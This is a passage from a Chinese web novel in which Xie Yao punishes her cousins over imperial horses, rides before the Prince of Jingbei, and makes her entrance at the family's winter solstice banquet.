就听她低声喃喃:“早知道我也多吃一点了,让靖北王知道我等习武之人,身体强壮如牛,他以后,说不定会更重视我。” 韩思雪:“……” 谢窈真是要嫁给靖北王当王妃的吗?听着话,怎么感觉她是要去靖北王府应聘亲卫统领。 两人走到伯府后院的马厩,还没进去,就听见里面吵得厉害。 走近一看,一个和谢宴年岁近似的锦袍少年,正拽着一匹马的缰绳,要往上爬。 另一个胖墩墩,看着也就十来岁的男孩,则使劲儿推搡着一个小丫鬟。 “你放开,”锦袍少年盯着丫鬟,眼神恶劣冷漠,“再不放开,我直接骑马撞死你!” “二哥,我也要骑,我要那匹。” “好,这匹乌云踏雪我骑,那匹黄骠玉顶,我做主给你了。” 小丫鬟被推的撞到马腿上,衣裳不知道蹭到了哪里,袖口划出一道大口子。 “这是二小姐的马,你们不能动。”她还护着马,语气透着哭腔。 两个宫人站在一旁,面面相觑,似乎不知道该不该管。 “住手!”韩思雪大喊一声。 胖墩男孩看见她,眼前一亮,放开了丫鬟:“嫂子,你怎么来啦。” 锦袍少年却冷冷地说:“谢成梁,住嘴,她是个疯女人,敢谋杀大哥,才不是我们嫂子!” 韩思雪翻了个白眼:“对,你以为谁稀罕当你们两个小兔崽子的嫂子吗,我呸!我马上就要跟你们大哥和离了,也有可能是丧夫,更好。” 她又对谢窈说:“大的是谢成榆二弟成柏,小的是他三弟成梁。” 这两个人,都是谢二爷的儿子,是谢窈的大堂弟和小堂弟。 大堂弟这才看见谢窈,想到大哥谢成榆的惨状,他脸上挤出笑容:“窈姐姐,这宫里的马就是神骏,能不能给我们兄弟二人骑一下?” 小堂弟也附和:“就是,反正这里有六匹马呢,你一个人又骑不完。” 谢窈没说话,先看了眼被撞到的小丫鬟:“受伤没?” 丫鬟伏跪在地上,不敢抬头,声音断断续续:“奴婢见过韩夫,韩姑娘,见过二小姐,之前有位姓白的大人交代了,这六匹马,就是王爷跟陛下给二小姐要的赏赐。” 谢窈弯腰,勾起她的脸。 这名丫鬟,是之前给自己照看青骢马的茗儿,茗儿白皙稚气的脸蛋上,浮着一个清晰的巴掌印。 见谢窈不理自己,反而挂心丫鬟,大堂弟忍不住发脾气。 “小气,这么多匹马,放着也是吃草料,你为什么不能给我们骑,还有这个丫鬟,扫了我骑马的兴致,被扇一巴掌怎么了。” 谢窈眼神清幽,她是真没想到,以前觉得谢宴那小废物又蠢又惹人烦,现在才发现,谢宴在谢家算聪明的了。 小堂弟又对韩思雪说:“嫂子,你劝劝窈姐姐,咱们是一家人,我就骑一会儿。” 韩思雪:“滚一边去,别叫我嫂子。” “这是西戎进献给大燕的战马,靖北王的人亲自送来,给我的礼物。” 谢窈终于开口,漆眸幽深,声音冷得很。 “你们算哪门子一家人,也配碰皇上的赏赐,也敢动我的东西?” 小堂弟脱口而出:“等你嫁给那个残废王爷,以后还能骑马吗?迟早是我家的!” 大堂弟也冷下脸,故作语重心长地说:“窈姐姐,靖北王身有残疾,你要是在他面前骑马,他肯定会生气,所以归根到底,这些马还是得留在伯府,早晚我都能骑。” 直到现在,他都抓着那匹乌云踏雪的缰绳。 谢窈直接伸手,一把攥住他手腕。 她手上使了劲儿,大堂弟感觉自己手腕要被捏碎了,“嗷”地一声就松了手。 他疼得叫起来:“你——谢窈你疯了……我还没有骑!” 还没等他站稳,谢窈一巴掌落下。 “我的东西,别说骑,就是碰一下都得过问。”她声音冷厉。 顿时,大堂弟的脸上,也多了一个红印子。 小堂弟还想扑上来,谢窈平静地说:“你们哥快死了,我不介意也送你俩一程。” “你……你欺负我,我要告诉父亲,我要告诉大伯!”小堂弟腿软了,“哇”地哭出来。 谢窈睨视着两人,这才问旁边两个宫人:“你们两个,是宫里的?” 二人连忙行礼:“见过二小姐,我们是宫里御马监的圉人,奉庆公公的命令照顾八匹御赐骏马。” 谢窈道:“好,那你们现在就去告诉文昌伯,就说谢家二房,我这两个堂弟觊觎皇上赏赐,对王爷不敬,应该打断他们的腿。” 第62章 教训堂弟,又在王爷面前骑马 两个堂弟听到这话,脸同时白了。 “不骑了,我不骑了还不成嘛。”小堂弟直接跪了下去,眼泪与鼻涕齐飞。 “窈姐姐,我再也不敢了,求你别告诉大伯。” 大堂弟谢成柏捂着还发麻的脸,拉起小堂弟:“别丢人了,快走。” 他又瞪了谢窈一眼,却没敢说什么。 这两个堂弟,从小就和谢窈不太亲近,小时候被她打过,如今哪怕挨了巴掌,也不敢招惹她。 但谢成柏却看了看韩思雪,放狠话道:“韩氏,你敢伤我大哥,你等着,等我大哥醒了,一定休了你!” 韩思雪道:“谢成柏以前整日跟在谢成榆身后无所事事,我听说,二房夫人还想为他在冬至宴上择个世家女子,觉得他能成为第二个谢成榆。” 她已经看透了,谢成榆娶她,娶的是她韩侍郎妹妹的身份。 现在谢成柏到了能议亲的年纪,二房一家还想故技重施。 只是不知道,这次倒霉的,会是哪家女子。 谢窈望着他们的背影,听到“冬至宴”三个字,眼神深了几分。 午后的风有些冷,阳光是有,却并没有暖意。 对了,冬月十一的冬至宴,快到了。 谢成柏今天不敢在她面前造次,灰溜溜地离开,前世冬至宴之后,可是疯得很。 两个圉人小心翼翼地询问:“二小姐,那我们还去禀告文昌伯吗?” 谢窈问:“刚才他们欺负小丫鬟,你们在干嘛?” “我们见那两位是伯府的小少爷,而且其中一个还是孩子,就没在意。”圉人道。 “孩子?寻常无知幼童,敢动御赐的马?” “他们说,自己是二小姐的弟弟……” “敢碰我的东西,还在这儿耀武扬威,证明他们根本没把自己当成我的弟弟。” 谢窈冷声道:“连茗儿都知道护着马,你们却在看热闹。” “我的人,可以蠢,但不能失职,我不留你们,你们走吧。” 两人慌忙问道:“二小姐要我们去哪儿?” “回宫去找庆才公公,让公公重新给你们一份差事。” 提起庆公公,他们大惊失色,吓得“噗通”跪到地上。 “二小姐,我们错了,千万别再把我们送回去。” “庆公公的手段,要是知道我们失职,一定会扒了我们的皮啊!” 她目光落在他们脸上。 这两个人,不用想,就是皇上往伯府安插的人手,负责监视伯府。 但是没关系,她正求皇上怀疑文昌伯府呢。 “再有下次,就直接回宫。”谢窈说。 两人松了一口气,正要站起来,她又道:“我让你们起来了?做错了差事,只是一句错了,就能免罚,这是宫里的规矩?还是你们认为,我就不能扒了你们的皮。” 两个圉人互相对视一番,抬起手,狠狠自己抽自己巴掌。 两巴掌之后,他们疼得呲牙,眼巴巴地看着谢二小姐。 谢窈不说话,面色平静,眺望周围的风景。 今天天气倒是不错。 不知箫熠之和裴隽吃完饭了吗。 晚上吃什么呢…… 靖北王磋磨裴隽的手段,被她用在了此处。 几十个巴掌下去,谢窈才开口:“好了,怎么打成这样了?我心善,见不得血,快擦擦吧。” 两人已经脸颊红肿青紫,闻言,连忙用袖子擦掉嘴角渗出的血。 “照看好这几匹马,再看见不相干的人在附近晃,就直接打断腿。”她又说。 两人点头如捣蒜。 “这件事,你做得很好,”谢窈扶起茗儿,帮她拍了拍衣裳,“不过,你不是后厨煎药的吗,今天怎么在马厩?” “二小姐说过让奴婢照看那匹青骢马,奴婢就经常来马厩这边。”茗儿小声道。 “今天那位白大人来送礼物,两位堂少爷好奇,说想看御赐的马,孙姨娘便让奴婢带他们来马厩看,没想到他们看了之后,非要骑。” 谢窈眉心舒展。 她会借刀杀人,别人也会。 孙姨娘知道她要来马厩,借她的刀,教训了大堂弟二堂弟。 看来,孙姨娘对谢枝差点被谢成榆玷污清白这件事,仍旧耿耿于怀。 不过,把她当刀,小心割了手。 谢窈取出几枚银锞子,塞给茗儿:“袖口破了,拿去买身新衣服。脸上的印子,去晚香院找忍冬,让她给你拿药敷一敷,明天就消了。” “二小姐,用不了这么多。”茗儿攥着银锞,心里越发感激。 “拿着,再去帮我办件事,”谢窈说道,“那俩孩子是你领来的,现在跑了,你去躺二房院子,把事情告诉二房夫人一声,省得她担心,放心,二房不会为难你。” “奴婢这就去。” 谢窈这才走进马厩,眼神渐渐明亮。 不愧是西戎进献的好马,每匹都神骏非常,身上配着或鎏金,或藏银的精美鞍辔,在阳光下折射出耀目色彩。 除了之前她从靖北王手里顺回来的青骢马,还在安静从容地吃着草料,对外来之客并无反应之外,伯府其他几匹货马,都在这六匹马面前唯唯诺诺,躲到了角落里。 谢窈最喜欢的,不是那匹浑身洁白,性情温顺的玉雪骢,也不是皮毛油光水滑的乌云踏雪,而是最里面那匹,眼瞳犀利,通体丹红的烈驹。 “与我的燎原有几分相似,就叫你小燎原吧。”她说道。 小燎原打了个响鼻,轻甩马尾,表示不服。 圉人连忙道:“六匹马里,这匹赤驹脾气最为暴躁,论神骏,比不上墨云踏雪,论脾性,也不及那玉雪骢,二小姐要是想试骑,还是骑其他的吧。” 他们没说,那赤驹野性得很,御马监马术最好的圉人都制服不了,上次还把监司摔了下去。 下一刻,谢窈已经飞身上马。 她拢臂控住鞍辔,任由小燎原摇头摆尾地折腾,骑在马上,稳如泰山。 “驾!” 在两个圉人震惊的目光中,谢窈一夹马腹,如烈焰飞驰而出。 裴隽和箫熠之才用完饭,出了晚香院。 靖北王的马车正停在伯府外面,后面的王府亲卫列队整齐,白术正推着王爷准备离开。 就听马蹄声轻快凌厉传来。 箫熠之坐在轮椅上,转身望去。 谢窈打马而来,周身沐浴在熔金似的光辉中,红唇上扬,笑意灼灼如华。 她衣袂纷飞,如红昭烈焰,明艳而恣肆,胜过春日骄阳,让人无法移开眼。 箫熠之凝视着她,心中,说不出的轻松宽阔。 自由自在,洒脱肆意,才是谢二小姐真实的样子。 她这样的女子,值得配世间最好的一切。 裴隽望着谢窈,也盯着靖北王,眸子微沉,皱起了眉头。 谢窈在身有残疾的靖北王面前骑马,怕是要惹怒这个男人…… 他咳了咳,故意说道:“王爷,下官先走了。” 第63章 夫妻一体?王爷不去冬至宴? 裴隽是故意这么说的,甚至,怕靖北王没听清,他悄悄加重了“走”这个字。 白术反应最快,面色一凛,差点又要拔刀。 箫熠之恍惚地回神,像做了一场大梦。 谢窈骑马的样子,真的很美,美得让人心动。 这个裴隽,是怕他会因谢窈骑马而生气,所以故意这么说,想提前惹怒他。 箫熠之并没有计较裴隽的话,只是收回视线,声音极淡:“回府。” 谢窈却勒住缰绳:“王爷请留步。” 箫熠之停下,没有回头。 “过几日,就是伯府的冬至宴,今年大抵会比往年更隆重些,王爷来吗?”她邀请道。 轮椅掉转,箫熠之仰望着骑在火红骏马上的女子,目光如炬:“谢二小姐希望本王来吗?” 谢窈:“王爷若来,是与我夫妻一体,若不来,或许会错过一桩好戏。” 箫熠之轮椅上的手指微颤了颤,心里回荡着四个字: 夫妻一体。 他沉默许久,没有回答,让白术将自己推上马车。 他对看戏没什么兴趣,因为以前,别人想把他当戏看,被他杀了,后来他出现的地方,通常没有人敢看戏。 即便是之前云鹤楼那样的好戏,他也只是碰巧看了一场。 刚上车,只听裴隽的声音传来:“谢二小姐,冬至宴,我可以参加吗?” 谢窈:“不行。” 裴隽“啊”了一声:“二小姐怎么这么无情,我不过是想再来伯府蹭顿便饭……” 谢窈道:“伯府的冬至宴,能顺便相看男女,裴侍郎若是想娶我庶姐谢枝,大可以来。” “呃,打扰了。” 马车行驶,将两人的交谈声甩到后方。 箫熠之眼神微沉,忽然开口:“白术,本王真的很老吗。” 听到谢窈和裴隽的对话,他们明明是初见面,却相处自在。 白术一惊:“王爷,您今天怎么会问这种问题?” “大抵是……吃多了吧。”箫熠之阖上眼眸,觉得自己多余问这根木头。 回到王府,御医正等着给他把脉。 之后,白蔹前来:“王爷,又抓到一批西戎间人,为首的和西戎王庭三王子有关。” 箫熠之面色骤冷,眼底闪过一丝血芒:“先留着,本王亲自杀。” “再去问问……”他又吩咐白蔹几句,声音忽然压低。 这才去凝辉院,给萧老夫人请安。 “孙儿向祖母问安。” 萧老夫人暗自打量箫熠之,发现他面色比上次好了许多。 她就说谢家二小姐,是孙子的良药珍宝,得好好珍惜吧,今天见了一面,便如此管用,等以后成了亲,也能让熠之想起来,他也还是个年轻人。 她只求熠之能恢复从前的两三分朝气,就满足了。 萧老夫人忽然开口:“熠之,你今日是去谢家送聘了吗?” “只是宫里给谢二小姐的赏赐,不能算聘礼。”箫熠之一怔,恭敬地答。 但是,他回想起谢窈骑马的样子,唇角竟浮现出一抹笑容:“几匹西戎送来的战马,她倒是很喜欢。” 笑容柔和,转瞬即逝,却不可忽略。 萧老夫人看到他的神情,差点忘了自己要说什么。 她何曾见过孙儿露出这样的表情? “咳咳,你既然知道这不算聘礼,那你准备聘礼了吗?”萧老夫人定了定神,皱起眉头,“是想让人家伯府,觉得萧家出不起?” “孙儿还没——” “好啊,你是以为皇上赐了婚,就可以不请期下聘了!”谢老夫人佯装怒道。 “当然不是,”箫熠之反应过来,无奈地说,“祖母,孙儿是第一次成亲,没考虑周全。” “只要你记得就好,聘礼得提前准备,要备的丰厚,在迎亲那日之前送去谢家,这是告诉谢家,我们萧家绝不会薄待阿窈。”萧老夫人说。 箫熠之玄眸微沉,却摇了摇头:“孙儿觉得,谢窈并不在乎谢家的态度,她说不定,还会让孙儿把聘礼都带回来,一文都不留给谢家。” 他早就看出来,谢窈回京后做的事,完全是站在了谢家的对立面。 除了她母亲,她应该不在意谢家任何人。 “这孩子,看来自己家也是个虎狼窝。”萧老夫人眼神微怔,明白了什么,不禁叹了一口气。 “也是,当年那文昌伯府,能把这么小的孩子送去健妇营,真是残忍。” 箫熠之皱起眉头,一拍脑门:“早知道这八匹马到时候送她,她喜欢这个,现在,却不知聘礼要送些什么,只是金银,未免落俗。” 萧老夫人道:“若你说阿窈会把聘礼返还,那更要多出,金银再落俗,也不能少,这是给她一个人的,是我们萧家给她的底气,让她心安,等她嫁进来,老身就把掌家钥匙也给她。” “孙儿明白。” “至于你说不知她喜欢什么,还有十二日,看看吧。不要看自己有的,要看合她心意的。” 合她心意? 箫熠之若有所思地点头,想起午饭时谢窈对她母亲许氏的态度。 一念至此,他端起茶要压一压,却见桌上有一张帖子。 “这是?” 萧老夫人:“哦,文昌伯府晌午送来的帖子,请萧家去冬至宴。” 她心想,孙子受伤这两年,连皇上的宫宴都没去过两次,又摇头道: “本来想让你去的,谢家以后是咱们亲家,应该去,但估摸着,文昌伯昨日被皇帝诘问,他想叫人撑场子呢,叫文远和他家那口子走一趟,也就够了。” 萧文远是箫熠之二叔的儿子,他的堂弟。 “不必让家里人去,”箫熠之淡淡地说:“王妃不喜欢谢家,本王何必帮谢家撑场子?” “那倒是,谢家对阿窈没多好,看着也烦,不去就不去吧。” 老夫人没再说什么:“你去准备聘礼吧,有什么缺的,祖母有的,就拿去,库房里能给的,都给。” 箫熠之点了点头,离开了老夫人的院子。 白术想到准王妃在门前亲自邀请了王爷,于是问道:“王爷,咱们真不去谢家的冬至宴?” “你知道谢家冬至宴是做什么的吗?”箫熠之反问。 “是祭祀先祖,再办的一场宴会?咱王府倒没有这样的习俗,但听说文昌伯府年年举办。” “冬至大如年,谢家这些日子屡屡出事,文昌伯还遭到皇上问责,还有谢窈那庶姐,也在入宫名册上除名。越是这样,谢家就越想大办,借着亲友齐聚的机会,把那庶女嫁出去,或者相中京中别的女子入府。” “王爷是说,谢家是想攀高枝,咱们去了,也是给他家抬轿。” 箫熠之颔首。 白术明白了,看来王爷是不会去了,但不去是对的。 皇上邀请的宫宴,王爷又不是没拒过,何况是一个小小的伯府宴席。 他正要退下,和进门的弟弟白蔹撞个满怀。 白蔹怀里抱着一件精致厚实的檀紫色蟒袍,一件玄青锦缎常服,一件墨色绣朱红祥纹直裰,还有件月牙白的襕袍,都是前些日子老夫人给王爷新做的,把他人都淹没了。 “王爷,属下打听过了,时下男子参加宴席,穿什么的都有,所以属下就都拿来了,要不咱们都试试?” 白术猛地回看,就见自家王爷面无表情,默默侧过了头。 “你觉得,本王还得都试试?”王爷声音低沉。 白蔹一下子反应过来,王爷身体不便,几件都试一次,确实麻烦。 “哦,那,对了,那就这身蟒袍吧,王爷之前穿过,到时候直接穿就行……” “都放下吧,出去。” 箫熠之指着他怀里的衣袍,淡淡地说。 “属下留下帮王爷更衣?” “滚。” 转眼间,就到了冬月初十,次日就是冬至。 第64章 冬至宴,洗牌开始 冬至大过年,尤其是在文昌伯府,每年冬至这日,除了祭祀冬神,在祠堂祭祖,还要办一场冬至宴。 文昌伯身为礼部官员,对宴席祭祀等事,最为拿手。 又因冬至宴上,曾经成全过几门亲事,所以这宴席,也成了一些适龄男女相看的场所。 谢宴来找谢窈,说,往年冬至宴都是谢明安让孙姨娘办,去年前年是谢成榆办的,今年,说不定轮到他了。 还说这两天伯府花钱如流水,祠堂内的香火供奉,后花园的梅花,亭台水榭,都重新布置了一番。 谢宴问道:“姐姐,谢成柏今天跟我抢这个差事,我要不要找父亲说说,今年我来办,反正父亲和孙姨娘都置办的差不多了,出不了问题,这是伯府露脸的大事。” 谢窈听到祠堂内也重新布置了,眼神一闪,说:“你想露脸就去,说不定露了脸之后,很快就能议亲。” “那可不必,议什么亲,我又不是谢成柏那种蠢货,”谢宴赶紧摆了摆手,“我还是去学塾上课吧。” 谢窈微微摇头。 有些事,不是谢宴不想,就能不做的。 于是,明面上负责冬至宴筹备的人,是二房次子谢成柏。 文昌伯府广发请帖,收到帖子的人,还观望着。 看看靖北王萧家去不去? 再看兵部侍郎韩家有人来吗? 最后想想,自己家里有适龄待嫁或未娶的吗,有必要去冬至宴相看吗? 文昌伯府虽然门第不显,但从前名声极好,礼也周全,每年冬至宴都给凑出几对好姻缘。 而且,以前京中确实遍地勋贵侯爵,但自从五王之乱,皇上灭了五位亲王,把最后一位太后幼子,也从安亲王削为安平侯之后,伯爵之位就变得稀罕起来。 但文昌伯一家前几日又刚被皇上问责。 但文昌伯府以后就是靖北王府的亲家了。 但靖北王好像对自己亲家没什么好脸色。 但文昌伯府二房长子还娶了兵部侍郎的妹妹。 但听说已经和离了…… 京中各个世家大族,都在观望。 萧家一直没有动静,像是真的不认这亲家。 没想到,傍晚天色黑了,蒲苇来报:“二小姐,安平侯府回了帖,说安平侯夫人,要带庶妹江三小姐前来赴宴。” 谢窈坐在房门口,借着朦胧月色和灯火,擦拭着自己的刀。 韩思雪坐在旁边,说道:“这下,明日要热闹了。” 安平侯,是太后独子,今年才十八岁。 他原本是安亲王,当年五位亲王造反,只有他没有掺和此事,但皇上还是削了他的亲王爵位,封他为安平侯。 归根到底,皇上的生母是沈皇后,太后只是先帝立的继后,安平侯和皇上不是一个母亲。 而安平侯夫人,是江老丞相的嫡孙女,大名鼎鼎的安和县主。 她妹妹江三小姐,早已被谢家相中。 谢窈:“那些观望之人看见安平侯夫人来了,自然也就来了。” 韩思雪说道:“此事怪我,县主是我闺中密友,往年,她都会借着冬至宴来见我,如果不是我,她不来,伯府也不能借此挽回名声。” “她是为了自己妹妹的姻缘,即便你不在,伯府也会从别的地方拉交情,她同样会来。” 谢窈想起裴隽的话,谢明安能让谢枝的名字,出现在太后选的名册中,证明谢明安,一定还藏着不为人知的秘密。 她眼神渐深:“何况,来的人多了……可不代表能挽回名声,或许,伯府会丢更大的人。” 前世的冬至宴,热闹的很,也格外寒冷。 正说着,谢老夫人派遣嬷嬷来,给谢窈送来两身冬衣。 “二小姐,这两身衣裳都是新做的,还是新料子,首饰也是老夫人叫人打的,老夫人的意思是,您明天可以穿一身。” 谢窈看了看,这些衣裳,一件件华贵艳丽,金银首饰也很漂亮,只是,衣服尺寸有些窄小,首饰也不是她平时戴的样式。 她冷笑了一声,没说什么,收下了。 好东西,没有不要的道理。 过了一会儿,桑若端着熟悉的托盘出现,说出熟悉的话:“这是谢老夫人给——” 这次,她还没说完,就看见谢窈面前已经有了几身新衣裳。 她尴尬改了话头:“这是伯爷给二小姐的。” 谢窈:“哦,又是母亲熬了几天给我做的?” 桑若早就叛变了,小声道:“这次这个难做,是夫人拿了京城几大衣铺的衣单,一件件给二小姐选的,特别贵,还有首饰,有根簪子是夫人的陪嫁,可漂亮了。” 她打开托盘,里面的衣裙明丽夺目,金丝银线绣着细腻花样,样式也落落大方。 还有那枚玉簪,看着普通,但玉质如凝脂,寻常金银根本比不上。 谢窈望着这些熟悉的东西,呼吸一颤,眼眶泛起酸涩。 她如今是待嫁的靖北王妃,老夫人送来了几身好衣裳,是不想传出苛待王妃的名声。 可她不会忘记,前世冬至宴时,她和陆慎言匆匆定亲,她的祖母,却只送来布衣钗裙,说她嫁给白身文人,理应低调。 然而在宴席上,谢枝的一身盛装,正是母亲现在给她这身! 这本来就是母亲给她的,但她听从了老夫人的话,根本没有让桑若进门,之后,那身衣裳被老夫人拿走,让谢枝穿了去。 她穿着粗厚的布衣,却经历了回京后最寒冷的时刻…… 这场冬至宴上,发生了很多事。 而这次,一切将重新洗牌! 第二天一早,冬至日,初雪日。 文昌伯谢明安,拎着嫡子谢宴,还有谢家二爷的两个儿子与妻子,一起在伯府门口,招呼着往来宾客。 谢宴一脸不耐烦,他本来在学塾上课的,他爹非要他来,还给他一阵打扮,穿上了身他不喜欢的锦袍,局促得很。 “什么时候结束?父亲,我还要去上课。” “上什么课,今日学塾都停了,身为伯府嫡子,这种场合,你给本伯老老实实地待在这儿。” 或许是听说安平侯夫人要来,今日来赴宴的人,果然不少。 不多时,安平侯府的马车停下。 第65章 庶姐有人撑腰,谢窈出场 一身典雅打扮,梳着妇人发髻的安平侯夫人,被侍女搀扶下车。 和她一起下来的,是个及笄年华,容貌秀丽的绿裙少女。 “旁边那个是安平侯夫人的庶妹,江老丞相的孙女,宴儿,快上去打声招呼。”文昌伯一把将自己的儿子推上去。 “这是小儿谢宴。”他笑着说。 谢宴不情不愿地皱起眉,然而,还没等他开口,旁边的谢成柏就主动上前。 “晚辈谢成柏,见过侯夫人,见过江姑娘。”谢成柏恭敬地行礼。 安平侯夫人和绿裙女子看着他,目光又落在谢宴身上。 谢成柏容貌比不上他的大哥,只能称中上,胜在身长玉立,风度翩翩。 而谢宴比谢成柏还小一岁,却完全继承了父亲文昌伯年轻时的英俊面庞,一身锦袍,面容精致,眉眼还透着几分冷峻。 安平侯夫人想起谢宴的母亲许氏,她知道许家是巨富,忍不住多看了谢宴两眼。 “伯爷的嫡公子,果然是一表人才,”安平侯夫人客气地跟妹妹说,“成柏如今长这么大了,这是我之前和你提过的,成榆的弟弟,谢成柏。” 谢二爷和二房夫人闻言,内心一喜。 连谢成柏的胸膛,都更挺直了几分。 看来,安平侯夫人还是与他们二房更熟。 安平侯夫人又说:“这是家中三妹妹,江念惜。” 江念惜朝众人福了福,暗暗打量着谢家人。 她姐姐和韩家姐姐曾经是闺中密友,今日来冬至宴,就是为了给她择个如意郎君。 安平侯夫人介绍完江念惜,却只是站在门口,向谢二爷身后张望。 她没看见想见的人,不禁问了句:“思雪呢?” 谢家二房都面色一变。 谢成榆觊觎堂妹谢枝,此事在京中传遍了,谢家也因此被皇上问责。 但韩侍郎在朝堂之上,主动拒绝了谢家的补偿银子,又说不必和离,谢家本就不想和韩家撕破脸断交,自然十分乐意,所以,便主动将韩思雪捅谢成榆的事遮掩了下去。 除了谢家人,还没人知道谢成榆致命的一刀,是韩思雪捅的,更没人知道,谢成榆现在还昏迷不醒。 文昌伯看向二房,笑得更深了几分。 还想跟他儿子抢人,也不想想自己家里那破事,人家看不看得上。 谢二爷暗暗头疼,他倒是忘了,韩氏和安平侯夫人交好,每年冬至宴,两人都会一起聊天说地。 他低声叫来心腹:“去晚香院,快把韩氏请来,越快越好,记得,要恭敬一些。” 旁边的小儿子嘀咕一句:“她伤了大哥,还想要恭敬?” 二房夫人也面露不忿,只不过没敢直接说出口。 谢二爷瞪了小儿子一眼,示意他闭嘴,又对安平侯夫人赔笑。 “思雪还在生我那逆子的气,但知道侯夫人来了,定然马上,马上出面。” 安平侯夫人颔首,她知道韩思雪在谢家受了委屈,只是不清楚具体情况。 今天前来,她想一探究竟,看谢家到底值不值得妹妹嫁进来。 正要进门,侯夫人又问:“伯夫人许氏,还有那位谢二小姐呢?” 她最近在京中听过太多次这个名字,实在是好奇。 这下,文昌伯也僵住脸:“拙荆常年体弱,不便见客,至于窈儿,还在路上,让侯夫人见笑了。” 他立即让人去请谢窈。 来赴宴的客人们,都陆续前来。 到了时辰,伯府男子由文昌伯领着,一齐到祠堂上香祭拜。 其他应邀前来的客人,则来到前厅。 前厅由四道屏风分成了左右两厅,屏风上,依次绘着梅兰竹菊的水墨工笔。 虽然隔着屏风,但男女只需要稍微靠近些,倒不妨碍交谈,也能看见两边情景。 大燕民风,比敌国雍国要开放得多,将男女分开,只是附庸风雅之举。 女子这边,孙姨娘长袖善舞,招呼着客人,二房夫人拉住安平侯夫人说话,想促成谢成柏和江念惜的婚事。 江念惜走到哪里,众多京中贵女都客气地与她行礼,对面的男子也唤她“江三小姐”,和她谈笑风生。 屋内炭火温暖如春,外头初雪簌簌,也有些人走出正厅,立于水榭亭台上,遥望着后花园一片含苞待放的红梅。 连谢老夫人都裹着厚实的貂裘,和几个贵夫人在亭内谈笑。 这文昌伯府的冬至宴,办的着实热闹,也不知一个小小伯府,怎么有如此多的银两置办。 谢宴坐在男厅这边,目光却一直盯着对面。 “小伯爷,可是看上了谁家姑娘?”一名同窗举起一杯酒,敬道。 谢宴是文昌伯唯一的嫡子,所以,有想巴结他的,平日就叫他小伯爷。 “我等我姐姐呢。”谢宴说道。 “喏,你大姐姐来了。” 那人忽然一指,看见来人后,眼神亮了。 “文昌伯府的大小姐,真是如出水芙蓉,美貌动人啊。” 来的是谢枝。 她身穿粉白色交领袄子,下着一袭粉霞色绸缎裙,发间戴着金粉鎏金步摇,柔软的白狐领,衬得她姿容柔婉。 之前谢枝是京中出名的才女,前几日谢成榆觊觎她的风波,更闹得人尽皆知。 见到她,许多人露出异样神情,之前和她交好的世家贵女也装没看见。 谢枝看向谢宴,眼神透出一丝怨懑。 然而,昔日哈巴狗似的跟在她身后的弟弟,现在居然看都不看她一眼。 都是因为谢窈回京了! 她心中暗恨,表面却维持着从容,咬着唇,越发楚楚动人。 幸好,安平侯夫人的妹妹江三小姐,忽然走上前,亲昵地挽起谢枝手臂。 “枝姐姐,好久不见,我有好多话想跟你聊呢。” 谢枝内心松了一口气,看来她送出去的几幅名贵字画,还是有用的。 呵呵,就算她嫁不成皇上,她在京中的才情地位,也是谢窈比不过的! 她眼波轻颤,道:“好妹妹,出落的越发水灵了,真是玉般清透的人儿,我这几日也想你,还做了一幅《绿柳扶烟图》,等会儿咱们一起看。” 江念惜:“姐姐让我来文昌伯府,我本来不想来的,可想着枝姐姐的文墨,实在是心痒难耐。” 两人叽叽喳喳地聊起来。 江三小姐其实只是江家庶女,但到底是江老丞相的庶孙女,也是安平侯夫人带来的妹妹,身份贵重。 江老丞相,三代为相,嫡长子是户部尚书,嫡次女是当今太后。 嫡孙女又获封郡主,嫁给了安平侯。 听说这次选进宫的女子里,也有江老丞相另一个孙女。 江家,是名副其实的京城第一名门大族。 见江念惜和谢枝交好,一众京城贵女们立即露出笑容,不多时,就和谢枝好得跟亲姐妹似的。 也有人低声议论。 “这枝姑娘真是名不虚传,如云如柳,如花如玉,与江三小姐平分秋色,难怪谢成榆起了心思。” “谢家大小姐如此美貌,不知那位二小姐生得如何。” “听说谢二小姐是在边关长大的,相貌丑陋,比不上大小姐万分之一。” “不会吧,到底谢二小姐也是陛下赐婚的靖北王妃。” “你难道不知靖北王也面如恶鬼吗……” “好歹也是靖北王妃,怎么我们客人都到了,她还不来?” 文昌伯也听到动静,低声道:“什么时辰了,还没来,一点规矩都没有,再去叫那丫头。” 他面容黑沉,韩家没人来,萧家也没人来,又怕人再问谢窈,他索性起身,道一声失陪,先溜了。 一旁,谢成柏看出大伯生谢窈的气,心里十分高兴。 他翻了个白眼,故意怪声怪调地开口:“我那位堂姐,啧啧。” 谢成柏没说好,也没敢说不好,眼神中透露的嫌弃,分明又说明了什么。 其他人配合着,露出懂了的表情。 谢宴听到这些声音,脸色越发阴沉,目光更冷地盯着门口。 谢窈清晨练完刀,在许素素那里用完早饭,还出门溜达了一圈。 路过祠堂,看见里面燃烧着香火。 路过谢明安的书斋,外面还守着几个护院。 她看着眼热,手痒。 回到晚香院,见韩思雪也被人叫走了,文昌伯叫人催到三次,谢窈才不紧不慢地动身。 自她回京,伯府出去过几次,云鹤楼也去了,倒是第一次在这些京城贵女面前露面。 刚到门口,下人还没通传,谢宴第一个看见她,大喊一声:“我姐姐来了!” 原本喧嚣的正厅,忽然为之一静。 “是谢家二小姐,到了!” 众多目光,或是惊讶,或是轻蔑,都循着谢宴的视线望去。 第66章 贵女讽她,江家女要她行礼 京中这些深宅贵女,或士族子弟,早在谢窈一回京,就听过这个名字。 很多人都知道,文昌伯府的伯夫人许氏,其实是商贾许家之女。 商贾之女生下的孩子,即便是嫡女,也难登大雅之堂。 但只有极少数人知道,其实许家,是真正的富可敌国! 即便现在皇上给谢窈和靖北王赐婚,在很多人心里,她仍旧是个行事狂悖,比不过庶姐的乡野村妇。 无数人,都等着看谢窈热闹,想等着她嫁给冷酷残暴的靖北王后,什么时候死。 可是现在,正厅寂静无声,所有人都发现,他们错了! 且不管谢二小姐什么言行举止,这幅天生丽质的容颜,直接让在场所有女子,都自残形愧! 还有的人,明明心里酸了,却还惊艳地望着。 谢窈今日身穿石榴红的广袖直裾长裙,裙裾袖缘暗绣着金丝银线的祥瑞云纹,墨玉镶金的带钩,勾勒出利落腰身。 发髻简单,单一支清澈如水的玉簪固定朱红发带,略施粉黛,凤眸凌厉张扬,冷艳无匹。 一阵凛风吹进正厅,她发带飘逸,衣袂纷飞,美艳胜过身后满院红梅,热烈胜过耀眼骄阳。 短暂的安静之后,是长久的安静。 无数男子心中都升起一个念头,这样的美人,还是伯府的千金,许家的外孙女,要是还没定亲,多好! 之前说谢枝貌美,谢二小姐肯定丑陋不堪的人,恨不得打自己一个嘴巴。 和谢二小姐一比,谢枝就是萤烛之光,安敢和皓月争辉。 